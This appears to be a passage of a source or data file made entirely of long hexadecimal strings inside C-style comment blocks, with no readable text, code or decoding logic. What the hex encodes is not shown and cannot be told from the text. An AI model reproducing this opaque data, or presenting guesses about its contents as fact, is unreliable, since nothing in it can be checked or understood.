f7babb4aac308fd984ea520547d089638d28f976014045044eb419a59b660c7876ef31191700977211f35966b733b618a9afd255c5c2bd28621e3cad4e2641f322205f87c3c75ad946885da5512db7629b6d93cf9bc2da6fad9d163c2bcdc37c09ed66e372e8945e7d9a7548ebbd6c206fba88863bc746a2664cc47520cd8be7c0f6e82d40465b243858b505c48b312013da87abbedcea0e46c968c87ad710909a8da590205de3f8e26c321454ed9883967f4ec3916c9993b73aa52a1fd9330e5d393d751013d9bc0032c89f3adf107999af9ba8422e349c95e777f991452bffaa8c455b897163b1c04e7dc17d7b472fe3db1d695627db266e7604f5289578b3e4d4cac0b0aacf642cf2e774da94edecd99d4bb41987498995afd4aa99fe563a1652c7ee0748f5d2baaa2c23ed702ecbca88fc70f0025656f902cc07971f5f792a8b806fb49c4cb51b5e412fc6c19fb1167bdb3e407f10189d38d51a4d999e9ea9b50a592c3ab9aa585749a9edfe161ec8f2bf1c538c460b91071e3333a3ac85f6c892a2a1913680321b1e649b7fec1583cd6b8f37fa412a52ebb9069fca41a78ea4c925dc7064076d4e918effc408a178c5724199c45f447e859788f5b3789db05217f6aa2547e5ded8cf1f2e107db53a339d42fac81b2f0039ddfbc696953cd96a0aa32193b9fc2fab0a6c79e0230b4b8284b001d7986c19770ed8f0003fb7823687b41a8c46d49ea9b985b06d309a7a9178db9c304074276cce72157fd84b3e4a93d54b516704a7819bf56e7793e5cbc83344cef40fb5bef5df245c8de4948f1c84f798a51e6bf9124ed4039bd3ee83cb7b0f09c6972ac71f77edd210a1c323f17631c781d306a44feaa26f62bdc93b743df4ba82eef96b6f5e56e09f088b121519919d0130afedf12adf21036e83853c360dbd7663d11b14c5f22d92f07cfe277d74dc7d79f765e29509f63ca855c91beb72933c0a007edd4b5fa39af81208de9ca5e726c49510cccc83d792f97d6a4938644069e90b9009786240b48381cf856ac93693cc5b1e73f4c64e070749920c4fbbdfcd20b6d4f7bc7eab1e62efe9d7cc9085316f4b67f7d23ac58fec56922b388788465c10660927798c60a3182d57eaa69aae1ce8fc6616e0a9cebe4fa8409cabfd049f959668ec1100cee776a2ae850b861b7848d28b90159ae5da19345c06622ecf9ccabb77a91484e72b196a207a7953e1bb2072cb4c01153b381f9820b1977d32d5dd2c40fdffed9ffa5fa12871b08b7d5bb471596f5e2995d49d24c8e040160c1cb283f5cbd2a29f67975469d5b040a89dc13407a7ae1dc8ba5c2a5d1246a0cacad0e2857a811edb184198c4045953a2c811e3419502b581ad61e6748bbd9895e4903416ee9795bba214baeae1e5dc37eaec36fffcfc1db6ea7e44dde9ba26f6df1080ad97804bf9bbafa0f00abcb5383f7277f2315af8709869c1e38f64fe46d2dbc85c6eaba5eec573caa75f8ab55290b2bfcd189437494889052b451a9d1da4780304604dcc529b94d30293bdbc43cc53168354c65ab88cf11fa856ded81b4123fac88d6299020c6fd5026af1a73708f5754d2cf2f9ac6d9435c1da46d7fd2e93442840284d73ab10d318bd82796034b51a5168cc4b161a8b3df2f94b643efacb68ea1263776ec5e7308bd2719ad87f8f16427e761b381cdbf324db6f9b1faea07d5bfc7daa6fe7326180aa7969588bb1087fd92a8a7b9d6a064b69ac671367c8a90017cd9fbf249a6503e27bd90196c7686602b2babd9c66681abd966b4fc84d1400f63662a5d1de4fd0678479dcb12cf4b6f3a3844a3851b9f58039100676d48c772e8285326ce42204470c059b28f449095f7e7cec12ffffdcfe066a16d6039c9fa2a61891bbad5a93d2a7b71ee54308ef8a8c93d408e17a4c5e3ae8650dc0c93e68f7b5961eaff903000066e6ee2fba90ab2e3af75f46c24ac52634fd6edbac1229d64dbf722fdaabf5f80958e54286ad9ef*/
/*0975ef8191344b66501880f054954e505e64f63ebee472dd90ad3d54990c160647b52395092f32fa5b5089cb1a81f2081d1dae9128e4963b57ec6c261fafbaa53cc565f2744ae7c65ae6f3d3cc2e90ab81927481e765c3a070c5bf8bcf82285c49d02413e6ecc725794370b9654dddcbb2986475bdb79638d9282f94b25b274b8118433db75fba96b6f5315413457a527fada609268eeb45c4e728c7248640fc46af86f69544c2937813afeb7a9b753d1cff541d8ba4e8e78ebf3c2249e46ffc807f8a066bae4eb9eb36d821dce4127ead491046aee879e11e92b4854e3366e71b390218514cb32132c3158e42007ac7a79141c1e8375e2ef1cc28a2cb7d953108c0c0161659b99ab20954b24878c305d2568fc35c59c1fbbd5bd2bb56372df4c07aa1bf7feab7b92a5bc5504d09e1cf9093b7771a402080e983a0fc42e2546fa89ccf425de3e401e01ef040dad028d2431bd433305a219a6fadfa814bf00bd6452912a505ffa25ab26d59f87f7d9cfd67b0b08ca83227a288a4cee50ab338883ef3cb7efb0784cb9d6113674beda15a825c8ef520c4f0a36025d02f7a40baff3377303fe016b7bf991d7af60960a11b131023c93741f245c116b8472e96d1b3b89a507537ef579adb3de1aa84c5cb8aaeeacaee68ff6844a75a910bf570f7677f15504b00f36be615b251083789449ce247098f117637932ba5d12d8fbaa8a2e06b4a77c3f24bddc7f6cd807080a63e8ca8356b3a9e2f66066cca3f0cc8a6c726ce013d150633ebeee63748663f55cb12fc63e74971df0cf5f1de10eda1bf85e91e368318e21f264f2751eb016c2a653e6a5c276be864264d03960959e04a883c80152452dd46c5dddc59bcb9b5eae65ca52fa777278b7435f83764f1b53e685c6cd41b21a5fea503c4a2a8960561c662a9671b61ae18d56b42add5ae2394d11e5e3d6c420172f68a17bc61b7e00150c346adc6abe9b756fc32743aa4eac809aa58914533d09e07e01f91b91c01541fefccf4f138f74e2ef9b12048790a232ca57083d471753631611ac3eb0ba392c390ce518872669ba9f0606a13e57dba29b92066b3f0d1f99869f0f5d926d472a15bd022ea86db9f6123585307aaa1e097d11930e06dc23fcb7a6ffa6854e349baebaf2ae694b47f6e31924342d3feaa90c7f6779528509efb531452da7dab00a31d1dae2872595ffaf98a6f14fcaa0153771000dd6ee18b8320fa04025be270c0e070aee2b7657a6afb79b27a964f6794b5e959013ee98c92efa31ed6ce16f5951648b36a8b2bea7353e6b88942c608fc52f38d2aad57965a75688da4c6db8d1e1c9aca1eaecb108d70babb3dc653a555326f89b5604c160943f19b8621a42cd77938def36b289b100bb1068c0be59b09a384538ec924b8713952558ce561b1395fb12bdf45a7c1410a7805e61eb8d15657b754762e71761c452feafb73e2bbd650b8fc7948970db1deeabd37a5889742cb3b91afc5f2b3a3b7750c2eb91bfabff122c8d61157955c72d12e59631231508be9d6e718d9910cc2dc5838488248dfddaddb1530cee66a1607580dfd52e50e6ff1c93be6ddf211df021f89d0d2734edc2abc253216d62aecf037dc4d1715e983cfc15b02af9bff462690698bade3949eb15707d850b8095be2a03a4ecf9849099b22350700677ccb762a7ebd6587662409258872e6f3379a245006f9b55811df33a33477b37e36dacb8143c32f1e0b389b9a67d6cd912775dba8a4988fbcf388678d65695799950a6673d0255658467570c28b30052251019823fb9f7edb84d44ae114754cccab3739eb55fd8f37ad905795c2c8749668949a2a1e817853253f80f89bec8b3f6a4fa309ea700712fdc3df452424a1387caae26b7d6895fb83ee1cb73c97b911e38b4488f5517bc6389f012af01f549b33a31baba82ea55857e2844106552dd9185f76c2b36f73e1f752b073dffa21aac1f30008346a9685255a7b9d929e60e48f3b134b854a18fcaaf8c998720ed057cedd51b979eb6ff7d1eeb347aed48a9b567327458bdd41dfc9500aae1365cbc5a0423fe2d565372b534bbb67b30c89f92a9aab67951f2c0a86bbc49d56dec9812d427f7ea2a4c96136f7e0d5cedd7831896544279b1fab458923935ac11f7a410a1beb0bb9483f4422a6a8d1570567d3c47ca0a2eb97e0d1e6f09485973263b956e3badbcf02caaa65ef5ff6783268bf10d2e7ffc46b2d82528a2ecc46b9175cda6fad98d0f360162f07e392d06e863cf73fdf196dc5f962642b651a358f216762f447714c26b6836481ad36b1da7eee6bd6e48233da237e6ee24c978521039fc93ad941dd5a2eda54c7a450a1d12bcf649b6b08ed69289a298ed281210e8d16e2fe05944f5f73c10a04e32f0bacf69fef2a3057d504c8d80757c50824a6050fb7bc4361cbc8236a7b5419f9d7ba92426f6727c48aec8f3508fede79e83ed0425216a2ef15f9c5957317b9bf78795b3971b8b3f9fdda254b9addc21b74fa51b995f491ac10c65adbeae1c7b2a1eed9ba0b692bb9e472efc18387cfd56fa5f7f69f7c5bcb6ae25950dc284f6e89614e1785e33d060a9d1e1ff512bab2402c6713f7aeba89b322b1fbce239b86d4079a58a9cbf731f261fe133582ac3eebe46895cb12b5cd7a6f26c8b4db37348c543895aa090f924d9144f0448005f4446592667d84db3ee2d3711ab6e1d12dec1164036835d6e0a945c971f9d6f087872589f8c4240a500979efcf040b582b5a8c9e064016fe60201120768b656f5ad8d7364dc068396358b8413d6655450c3223416a7aeb0e3deb0af87072*/
/*2685d845657cd37824d6d7d051a7a6d26d7a9103d829548e010116a97b14de10e9f3db29c8a168ae8dd075cb1fa52d0864dc11bb0488e2056eae833a3c08643ced5baa6861eee507ca8581252c9927bfb731df2697adf3b19b073afe00ffba18afaaf57cb8c08cbe05d24b55e47e0bdcfbcab07052d574296bdf07c282af2f1262f1cab86d43ebcde41a33d2c6e8e58f5da7990572bbcd446cb59e510bff7b9c6b76a1054a0fa0eadf0543c4e9f903f10a25f6cf7a626e63602257f12bc713b5285c2e1e395e5f2118d392bc29a2048a82dacb0a872e29a3735c6c27fc37976a455fa515f76268dc90fafbef34e02f274385eb4018fe6597a4ce2d83da7cc834b1a2e771dea1c3ccfa2f73a6bea6ff85c7d4f85208e21f938a13306a87b4cbb00212906fa5797190044368b896daa68f7350c1d5554f6cbf2aa7504b80556602c0ab7b190519be489748e43b810a09fb6c98f94a506b1ba4bf4f9e552bc3f3ff44ba851bb5196df96cf032023a241de45fe6c5f77a293d445fe1154a234dbbd3f34f54dd97f9e374f1cc20db5b2dc00e01500ebdb9c8b8dd1304416511a3d7e470ea2cbbc3fee8e56050f8f4d75e2c01b3ffa9dbacb2b01803231421dad7d09794215109f0a53c961f0a803a6478a225c099bf4732b5d1e548b783ce36e6af97c70dda510dfd0467f2d8c135742defce27c7f2cf81109d0a518930a17c9a55e4448ca5205ca33a5792d8eb4a2e89f1c7f6f3b8d0764267fc18c6e17dbf111fcd3721418e65133a77c07a5d1e3137b42e56996a4a8287f3c4ab35d6e315304fb0cbb9efe2707439b1e39aa6dac8cc06605df637f1f3b5eb596b1d81d3536435015f82fc21ea3a21f26d08413249ffbfa84e99559a99a385f4dafb13d0be92a7d43fb6a93f0c43c383e940f734b5b462a54478ae8b9810bca5cd316c2179ef11bd13b2a54a757612520f43dbb79262180ec8f4b0a80ec2d424885233ddcfa2c0dedf7a9780d52902086898f0adc9b6cd2546307e38db28a6ed63dc63714015c61e8b62a0e1cbff3f39b3adc1f15502cd5f41b69669cb5543f21fc51d1992537e3f122c0197e66098fbcbe1923c26627495fc66a0a5d29c703aaf972c057c84071bde3b1a6a718a0fb5ccd76b9c6921cb4b711dbae7b2937b5e36a8583d5bfef77c8f0ec54b9dae828e7c41cc0ff202ac1731e0f9e839e45a631a97a0c66d0fed6743559c8a8272cfbb59d84449e7d94a21ed733b483b81ab98f5ad992406e5a3b64f8337e21eb131b883b722a7a9882bbdba69318effd96418d0e08feee3d2109de6a99e46502cd1c0ed8b5f4bb4f280172874ff9813a1cf91fc9ace5830b2195f0437042227a54834ded60ec91a83bef1a2b1f7dfb72dfba94f2d3822ac141a5e07fb8fa9b0b9340dd0dc512f984871f65ab967621e825bf24013fb267a33193c410beabf06072d68b356bbbc5c23e95f84bfac94ec1cfcede96fed0b847cc7577ca6ca432b5104d30f0ec92f9b7e04dea1328b8d1a6dd1af501e650cc66f7f1545934e2dc8bf5e4c30e6b7d97573f67afc4c402a8988d240bc350db85367ce22742ab6b5f70fbabea33acfc01c031bc59d1ea4a5c9f568c5f10d7a316ed430f0e1394201b06f7dd40f7b2092e3849762c27a841b78a021bbaf1b7a9bc5f50eb1ef26e6da36223904f56918342029c04d0b4fa6df54aa8753b75b30189c896da55bf8f540333c387f63a1650d9b2605b8d705115ca8904e49b47ecddaec5dfb6e601df992bf076fbeafb1485a89039b63455b82504e2087bd3963fdf868c3238cb6a380237c00b741b703225e0ed5df0f9c3955f729ecc7b1bbd59ad3a45adb500db43c14f4f396365a941bf9f77f64c497eb2a24a5c6e533ed069d38333b380cf6fc45204e2e323cf4dec5432102886fd948e8520c4a139df23e6c3836f23ebefb68dfb1e90215c885e92c841fb2041dce423be9ce296936199ccf3f322c98ca85384f9e9c17da192ef0bed4053a43a3be1ab63a13ea1b8a4fa758b6ed4c61b37eb41fe8be6780ccaae9f52ebe9aeb654f3f64db4b596d2903b5dac6baefb97a8c05ab1bb38f3008dc676d7117df94d69da4752de1bba4adb41f891e8197ced18f4f2b7f892fd947b9adaa09df36b9106e943bcf86c4027bd7b1c6f2dc1f00e6c1cfe467e773049aea92f53f91688dab6fcfa164259ad712e7f4a996791e18c2595be38c99c63e3c11a166cd6e39a4e8a621f06c0256a654d4499ecc255e67ec25003480fb18ed7588ec14020d30300ae853cea9bf935038602f4dc8afbff6dbca67b1cf0d06332c52d1f0a51af8d4c563602ca0adf53149927d9fbaed8b4bda5131a626b0363cfb7db2829535b0e5eb8afe2273d8e53d2608fbf1c9dcbac3ed789c66c0b694e425df0dcf8e4c1960eead50476d5227afaadcd4814095dc14954eea1e4a72946600203bba75ef714d69d38f0122c71b1cc00b4b84147163f504494485be014789fed07854fac8c95ae047710897d3626b0ae333faf7058cb8a55b98507b22b4a616abb0d57738884cd026ffebd0a5aa23423dd84a65a0c4c565d37e90b1b6f7c9ee272034f2030b58e3c9aa3747103fd615122ede4825d0c7a562fe23ddb60116da725fba78b94f0260b8552fb8d42488420db3c34ba99ad7e79a5f53829d5fdd88a3c1ae521301d031241ae2089520fb7da5ed96a37ffb96421a77d65a04c3fed54722fa84a4a1629b9cd1782ba5b76f1c8d2084caa6ff3415d15e94d996b4a2746126473d542afd8e3b5f4168bcf642b0e7e05c0238756ff3ae3e0148f1cbef41effe1aa30752f4a3*/
/*2bf1616d1a60d7d21768e8206f1f8c6eb597ca61120e95677bb4f2ae8ce48c9f89b6a0e4297ab711f89165ad455d3985ed05bea0e6c24a3a3095d5a9bff42663171b9e34c848aa546c1acf8685c9d398f80daba73e2df026444f778cd577c2965216d1518f875882d7a6e4fc2bd5efe1eff6ae6e2459fca4a6fed68d8df7431758851d689dc647bc8be564b39cb04523d6e96ac254441dfea8dc065d9bc410840faf4023e5398e63dff199855f56a184552044efc0987ed53fb911033f89c82376fdc7ac9da35c21614df71036a41b33a9cc81eb0495b9d76ea121e2fa2c4f96d8536cdf51b42010e70c401c1357a0bbf00a91fb7b2ed739051aff82d73733e5ae8830ed87876275e1c6cda3649ce073621abbeadcdfe557af83531955d6d8384d1eff4a197cf8e6afdb93ea5231533d408b29e155ac762d879428941db0b3f4ff77b7f684fd15b9f9d9ab01e20eb64294f1cbbb08d7ebac074998646f7549e065cc2e7cfc4197d6315c9e498736c11987c904099e2e83e88059d6ac81321a0d288f7078eb4fc53df37921e834a40e470a48acbe5d81d061ad0e4baec193e92b13147f552070234fba0f839c004546c3787c478e207e0f465aadbfc42edc182c43d67aa7e840e4d4d91d17ab5a65620706024bbfa426e0439c29ca5fed99f20afeb283a75a01ef74f1d419f55946efa726ca11ed217e9572d4d560c4b89fdec4e1b8bf8b4b31f749d7022c7fff9e68093d3363f44d97999131d184daad88b5a5f51c31df35f6daec7ec374923f6ed3be981b1ebc84303e7f9484d58fd42698aaeea3f51bbb0be4866dfef0233e8729ae795d805f14129decc7f78f14b89bd739324c0e067c7467ce8e0033eab3758979840a63a8e44e0ad5c324018535435501fe7286815f2a4e10a20bac6af4fefb185d67db16a3a63a327ba7b8ccd00d586d361bac17dd6d44cdcd2b666c4502bfbf724a05758082353c6fed40ef573e3ceccfd5ca6f3f847d5b8059398798c365b302bbd8f1ca9582ed2abea6b5da3cb54a9a75699dc122295f4bfa4af0e5f3798d815c549ff8773cdcb6571f1432b049b1621ab1e700d41213cad3380c67ff9485807e509881e8dda24e067da129efc9864b8df8104d08b0417b37619bd08c1e355d5a7dd4e9651482593b64823b8fee2ddc27a0c31e7a8fa41b8621f34111784c2356cfeae9e0619d09f08c85853c842b0983b146fff7fc7b2784796cadb67e72b26f661e6988046a26f482e4e7232cfc38d8eb8e365f3c43bc040cba7d0de399979e5c121e7149bba9c059ae3fd015e8c6f34480fe3d17a28b8c8a76d768bfc4c29ebd6e363f344e224c87f5adbdbf23a93989432a537b0d7c648652a862b3fef8772ea30d61595691fb4bc61bf66592f0e31ddf1fe4ebdac2e30c9e6afe569eacebb5f302419747a8239fa26ad3d2a385c3cadb47c33638d4424f2817410408f9a88c93928f003cc93c60838e65c5d75bd6325b22513be5e09b7c9c1f5121bdb40ea41ac9d55aa7f23ff77a313b09071c0ab976ae3f7d4ce250a424a541c019dd072a49f009a866a19325da3caa56560c2c5a30e368c3720197c6763b2926b7a8201f0c0e9efeb2178731e30918bac6ec633deab39a14eebecbf668304f94fca0a1bfa098cf9723927f694c02d03830c72bd04d5d490fb2a33bf250907b57ad808f120c3b64815059ffdba681ed10b153df286eaf3fc2f0a93dca0474416edfd887ee62425139d12ba056c2e0a058ba5fdc0da58367df7ab9a8fe1e59e0e0b9dd77b684353a016eaa6fd3f81ce248ea978790fd4250e9ed13aacf303b3e4869b154bd3404a6c819a3168d8c671bdff3df830671c5859d4dd323c1172ff05c07c5ee65b3a9c31ef0175d5e30587c671f48f64ad0baacb36c857a2304908aab954e2a48d8d18f448d0cb4fa0b3ff92921c8bd8601fbe9e62b453b656b39cbe7db666f6b5721e83682a325fdd72e60f642c7e5dd364dc3aa988454e2d7b842fa53cfc94361d8361e91a3011495cbb09bbb06c4cf20af73a43dbb05a81d4b05ee0dddfe444bb02c975cb614ec1922383bf9bbc01f30ddbce7f8839a89513b96acfa873b407fd25c35350feb23898a9d2514e571dbebfadf320f78bdbb8111fb0cc98df8eb98a534fd2d8a31e3e91081f4b9e311b1a04ddbb1ad82d83139e05728470f98873d4ae8e2ce932d249831eb26232c931b8438e58c7e1d3d427bbd04c55594ee92ede3366856981a23bd8dea6c91a9e47a75d9d4b453d41452f95fd7c098d8b512781220e5b7fcd2d90b2cec8cfdd334637d30ac67810c5a66dafe046fb831c3496e1a63c5a106d7da98ddf92686bba51198a2d2947e1bfd96a9ea236346976fce8d118f0d7de3e9c7fc52f13476dfee3ded8d6d7ee4ecd2f3b8b71e88d42d85bcec23405173f0a5327c1619e4d7f2e3eca656822ccec0837166238384bdbd28ff38050172e0d0f11f0f66be9f6e107b7e9f4d6e96ee20794627c1487ffdf77a19b9feca82043d53b41b7cdda37d1775c6e4657f8800813fd324238f19614716ca4cbb55da98e28c626d5268b5872f96a2a6055d1a1ceb9464c3ce2f2e816796e0131a4e0d2c50e331f951489f75733b3a7915429131833c62c60c042a71c6f99b413775d0f5449315c19492fe908a27221bdbba93877ecae5868e3f52100351f9adea8458ca90681e72271518ca4c04029bf3ed85f099ae3b4c7fad714198ced00afc9e33b6ee217cf06aeaefab9ddb8a3ce4e93c30b2c65fd0e207b79dde9620dbaaab36b759dd6f03508c291bac6f2552a81bf2793bb8157b0ffb1c52*/
/*a64e82d5f43e500ea3e9e2724a8291ce97eb2aa08d0dd89f1260916349b755ec2ce8a1f628f2a096a7e1fb5f4a998623409d643aabae9e2053ad58dc368d6bbf3a03f6d564f06d0a22a388fce37286df7b6ca892bacd3595f7152707ecff56da68c383dfaee5578cdfa7bdd7ca36b5d2f8bfeceabf62ed28c2227539fbdd1a3cf237055c0fef039dc782e8d17713c94ab2a1444ad47b0b9998bc85b03267318f7c6fd99bda7280d5ce19049fa98f31ac7844570cb08d537742ed2ca25306b05c0934a384edefc294a9d7634c979bf50a3a484f332a3ad0c65f41f58c84d75a4c86f037acf83eba21016a29435333e86254b41cfff37c7916cb77ad7aac03c892c1d6bcf49ae95b95f71bbddefa382494dc5115e68c07101a871a09a8d34138a4413aea7791e07de568dac9d478fcf18efc493bf3ef9cea99662539dd8827868894a5407137692ec97b2759441ce310bf7b155507763f76824d564833339c4abe2160baf6f06c0cc4cade14e37a23e9dfa5fba4e1d7c2d1b2b3eb1bb75c9f4738cbdf61f39d7753ce5f5dc58c383d2cb6ed77947d3cdec6495a3fb1f4dd70daefd9c34146d5d633b03b8e53602d7e1f746649e481779c3c3ec945c9cf63073af33a1dda1570843f4556bf9f7c482e5c6a75d1b4f2ac8f1e1811fa917fa57063a95781151a63f3fe586a2be1df7d3cd5d6278f15c25554e3d3bfa2ba9bd4917dff4995d5f256de41135cd25f2575c11b751c4bd8b5b89a9abf785f6fd1f8724c6b6aebec32ae28937fb7d92978253b47cfb19266d3388b323454b84405c52cdfda447bf53ac0e3903d6d67bc1ea400ed6a0d3886f0fd8c3cfa5d6e94d58dbd4c8a12c35d074402ffada644c4204c771321885fd07a02890180c4577a42a12e8200fc2d17eb7845cd61e9b7db97ca26d41290642b5ec59948f8b686a7160944b0310929ee5f99cc8319edad0f073209379be3fd83c49faf40c615db213a58248b98684dc17f91ab853ce1f7bc22d3284fa40a8a0990cdda7688ed1bc2a61ede74e1cf5aa017d48448b39679d34ce1135fc00f8812fa913853f8c2dc6c45eda40ee82a4a75ecc51bb5d28043dd04e6dd6f9ddf5fc49ba019f41d10a7d1fcd5e70a767d63868e0f3e724a54ef2c133f3207f796111cca0236c6365d44341b86d8d8741b73349fedd1c96b4914b197a7152b3a9d12c8db694f7e4d46909ff0b4f5048cc6a5867f95fc36d40da2708d51caa1af484ec1551c9f139f36b690637b8b3e02f6766ca7dfc01dceb6c825b19d465432419af88f2bdf0447d26e8a8bff6d0dff62dc8c3c010823a6e19c3af41bac483b5923a01d4f307aaa684f291593b2314c0b542906a98712a824337788ba58ed9ac87c5d15b2031f21038d6645bd63e4762898f6313401bb91dbc71c563f079e6c6b290c18e12ffb01ece54a43bf66b273f9a50f8f6d52bf08018f065753414e8d4a7c351c0f91e96a3735e62365f6b9a88154c1afb525930e9e0cdaf9a43af7dbdd64ff045f7a80c6781c18c2116f377427d723231d77767de5d12d98d83d6dd0fd32f78f4a644e962f7066ea0a25dccd79bf776ecb4178e4ba1d4de1f52a08f80fe2d2a25266522db5a768d38b601d03352eb1a6a6a58e82e38475b3bf1bf4001a8bc9b5fa2c72d1de282526583617215b675a9784c0f3009652e16de454b5e0dab973c8eb6e86cbfd5b7c3044a0a3c61977269e38e7ca55fab437f0b68805284d28ab57cb44136f7284e159da20e0939160ba7706ebfb2fce8862c4c6b0c6e22eb6946f95055a4d44d38074f188aed2b4b997d1cab34bef3f70ed6c86c2390e9d95d123495d1c84d059461d5da5fc8b0b113e20ffb3501250948ab5684614b80f4aa53467102b5970b3c984d493836764dba7053303f517a9f3806120219904b39a1f2854f0a79b39ab8622d267c1673356244a3d0b06291810a45d2b5b8fd8325a78eeb36d2baf70862d96c2de911aadf511907bc552c83e8b26942118d1c8089f278438f5220bee08bc70b3fe03cb1d1b8c912adb9d68cfcd57f42352f05b23e18f79dac05fd11dbd7bf6a85119001376182add8f1f01663278c53212455b063a7e8b275eb0d0c41b4537be4cb7b7f6af6f115b101a78468589561bef79855b0282ec4f31e20172951c76b9705a0f1d90a0b1a5da42e9c4567fe074e580cca26143628cf3772ecd9fc800f2c4d7722aa27b1f0bd8447a99f7e515e91a7e1a26b92039caab734819bbed9470b108e663a5ee7648d7623705638c8266913d7e0f51ba3e6063733b2602dde78d62d26f2f533499e6b50dbc5dfa16a92d6b417ee44fece0a1972f6275a2037d7eeec0bf0d3d6f2ec32df9dac6798e8a8ce881b9a94efcb6f71aab9914d43ed9df8ad30e30f30638c177b01e79a6b6f81c275daab6cf28086cc3c758ad24505ff62d477bd12dff960ff24238044f0b54f5089440db84f92d21fb6d0ec729ca8e168f3552ddd38f8f1694ba30188d58966dff9382a6128471760c13db7efd243ca0cf5d2c5e7a7f291f8adb207788434455a2c593aa3fec07e2c5cab4dde8fe2638a8fab62a7c7d9732e1f5ce22185d952d4a7bdd1deb2ff44bcd7f2362e005d8831645af49899ada8eedbc7d6b79e5d1b99356be9b1e7652d8edde5e0427dde170a014a0d3b8e427cfd44df5bc83356336d69f3cacb8a9be9ec8e923e9e8e924a753825a2dc5443a77071fcc1ee87f4e0385b546bbeedb4e054b3ee93574f3cc723e1fc96bb06df7a357531695d449f4d1be42ca29f7f4abeaae0fd1c36234820e001ec4bd81d9e59d6b7acfff4758b1afd75bf6*/
/*0d3cabe45feccef19d0ab35f3806e8061d3de4f27f059c7728c087b3ee854c1458c902db693b2d14ff3f0933b03517b2f27a6217e01584fb21ace91d851246d3088639806b00ab002bf1278c8d5f57fb546fca00876200018933507335e2eabc80154ed621f0eecac3ff03e64202657415eac8cafe89546c6516f4d85d06842671dd69f5cfa3243fdd77e58e976f8c0ffd8111cba0c65d8a24474a84c8ea46b9ec548393f5ce6eaa4f716da25e188b33c6fbf4f9ff7a1d6f092e62e6dfbac9019e76fa69284febdb2febb332d2412250a0a45abfb1028e839580721a07458455d4b45e11847d5e5fb941eed7d172531c51b9c724d9015e45c7b60f576fb79d28e2f1033082b2dc56ab748418458800d8a5c54c44a2c91e0ad246079fe5361cac15473c96e35f23d027f490d698c53843acc06a567aa1fb57d4f0c5c52755bb6ae96bbd71167c0850bfa80991102eb8fe794247fdcb59f1cbdb1fdcc328fe512728ae6e06ed1ade516fb49f933d28a3039dbed296ed7a7966468bdbf16af494a4453e7ad941c72b651bb2ecf32faac4f0db099490a0b7fe05fe25b6de296a5dbb78b8984ba15bb7f3df1abe5a3d150bc9339eb1f7ce8442c432dab4234e718d00396065ab7e8195d5deb30c82bdf8a2e31dcb81e99cc895f07de20db0f60f08d27ff348ee6d70d97e2024ac51b97189f19a7ad3c2a1bd9c581cf12a2ce1dc2c047506849cd571d3db3fa61e763edc91ebf3e2117773e5c5bb978b0a86fb790e088c113eeba4f6cdb7347f7ec15dbb416d5af10b97bafd404087711d331bef8344de4c2248e6f7f61f68a48a40f07002b3c8e90b646a9b821b6aa2f8f5fe9ec88176753bd4ff131a94925a4ad8cf55824537088380eeace796b3496e19862330f414d8e699409d9005888acfc2d1e4084ec18ced55297c49b1ae68c2c3effe0c1e27c86062cbf5712dd7b8978b0c5310c988fee5f1936396ba960f47302d653bda86bc9a1d5a04b8eda5db898fe843e4b06e39698ba6741604d5e51f7538f900a237cc5011fbce7e51c3883581fd186ac88ad73e961b4126ee2f4ae6a139cf21b22bf4f02fb9f9718b990b32b0d76274b2feef241a47fb97842651e7f87699a480430c4c299668bb18ddcd4a2c8554b0ce4c5e3c4f7f7f68eef06c06c7e7896c6e95349c0e1093d1e29396f21165f644b835737a64a99f9b3a1d7879e6215bdb5ab960f4b97674b793742836ece32b6dd58a2a7d911914ac94754320e1f343388212d51809f135a40a31e3a461e598970509f63ebc0e86ebd4cd92dc5d67152eefd4243b0681ed0e03443f17647267fc340d898f66ccce608b02ce638e545f0184c976f3c254da8ce04a901dc09e3b2cb86e947ea509fce5443ceac61a7cc85f7f519f052361c18228b0c30e4bc36e447c039b54ffae8c83a4aeb43a47c1a628452c71132e096ab6d535cd5556133d5ab827699236fedff405b9fc8f8c5e0a59202a417df517660f7efd529ea6faeaaa36750bc16f2e43c28a2c41dea6cab616d73c25183a9e159a75b18d4bdf27548b30f37f1a27d466823cf2d66f55fd5bfc799edf8df4014b1d1d21dfa1e7aaab46f943cfa2b41f5a0acc291e2e4662650938381eee31d0bf087736323c17b5ab83f4c24385fd3553e190b31196fb66354d3030af56f32c686c4049b31ed7a72c8b969d3da86a056c2749f414f7f27d0fa9485dd02083e5c82f9c1bb3c1ce32dca90b32b9200764d819498b4dda8cf9e4ba231382b06b0669f797fa10e970bd7517bb025857d27b33b3c5a160b3d01fa260b9668c3784e93f8eec21e0fef1ea856bd77991d44f3c136daa84b2bb1970e7a9c807b7332910ca466980dce98250e4c713409773ed80c41a83f3ef585f1f8cbb94d8b519be3a30b8d6d772d1e8310bfecb5fb5c60548b3f7aa69f1e3b00b6cb0519b1bae371097d9181d648caa2484544d0a90794ed761a1334cf4bd9a2e013bec4f365154210c80b46b727dde9b949fa1dcaffdd41458df1e2dbbd77a1d83d258ff729c879efddd4ab2f4116b6411113c1722e5892778449e86316a038e1cad8732b3d2b16edf47362e6a46c436eed4d046f258d4b114bb57983aa1fbe54200055e8409f37a948ec4867b70444717765840e84132c1cf360c730416e985103230544e961a2a97075e76a60151de06d05a9d10859bba82130ba753f8eb3010419cd246c537d62ff745ba620226830bcea3725bbffe10bdc1f10aee1936082ab7fafc5150c4434989f72dc0f081a0ddd699916b151abff4be68d105cdcc029dbd335639322e43ce11d73bc7a30f837bb4e1ef2e91b30faa7dbbd8791f118204c1d13cc5c971abb941e90505d998183768a0a39d1b81272986e5b64e60aad2f0b7eea7574ea3514e36624c6d43fc00278faed9be3a24a6b3384818e2310ccdd3a374664f5ada380e5d79f2101ed2c539784227ea54ce0f86f7d14a66b6139f21751eb24c9e7dbac87b47a1e0037c78fa1660f5e20b18ee9019399d8c163f4fe27ec8034444d396ba204f23f28d082e4c3eb949c6d39247d0fe2a622319d854dc102724065cfecd457d61edc731c69fc4540b8edc7d2da8106ac7569219b2ba4d24877914089a0158c062596645812e3d37a30c027ce3ee7560e704ae22757f63bc9ecba76c1d2a5033988a1b7f23d014405b3caa57f281e1bee15b5d7a5fff8dc704bf43dbdf5a5ab492ccf3056a2eb37a866d0ea1dd681c03600fdf4c74d293373bacfce17dcafca0f4b16a2411e69bc8442e2984f12540f3aa0d329a39d34c1f69975207abd6a93eafaf48065efcc45ac4*/
